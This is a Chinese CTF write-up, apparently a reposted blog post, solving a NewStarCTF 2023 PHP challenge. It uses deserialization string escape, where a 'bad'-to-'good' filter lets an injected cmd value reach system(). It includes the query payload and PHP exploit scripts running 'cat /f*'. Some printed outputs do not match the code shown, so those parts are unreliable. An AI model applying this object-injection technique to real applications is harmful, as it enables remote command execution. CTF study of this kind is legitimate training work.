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[NewStarCTF 2023 公开赛道]逃1

代码审计.

这段代码分为三部分:1.war函数,2.GetFlag类,3.GetFlag类对象的定义,waf过滤以及反序列化 .

很经典的的一道题,键值对逃逸,改变cmd的value,去获取flag.

 而war就是我们的突破点(str_replace("bad","good",$str);).

开始构造payload

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

为什么这么构造呢?

让我们先来看一下未经过waf过滤后的value.

<?php
 
class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}');
echo serialize($g);
 
?>

value:

 O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}

我们只需要把上面的红色部分过滤掉就可以了,而过滤则通过waf来逃逸掉,waf可以把bad变成good,每一个bad就可以过滤一个char,绿色部分就是我们要过滤的数量为27,所以需要27个bad.

看一下过滤后的value.

exp:

<?php
 
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
$g = new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}');
echo serialize(waf(serialize(new GetFlag($g))));
 
?>

value:

s:246:"O:7:"GetFlag":2:{s:3:"key";O:7:"GetFlag":2:{s:3:"key";s:108:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:7:"cat /f*";}";s:3:"cmd";s:6:"whoami";}s:3:"cmd";s:6:"whoami";}"; 

此时反序列化时,红色部分就会被过滤掉.

获得flag,游戏结束~ 


原文地址:https://blog.csdn.net/alwtj/article/details/143481960

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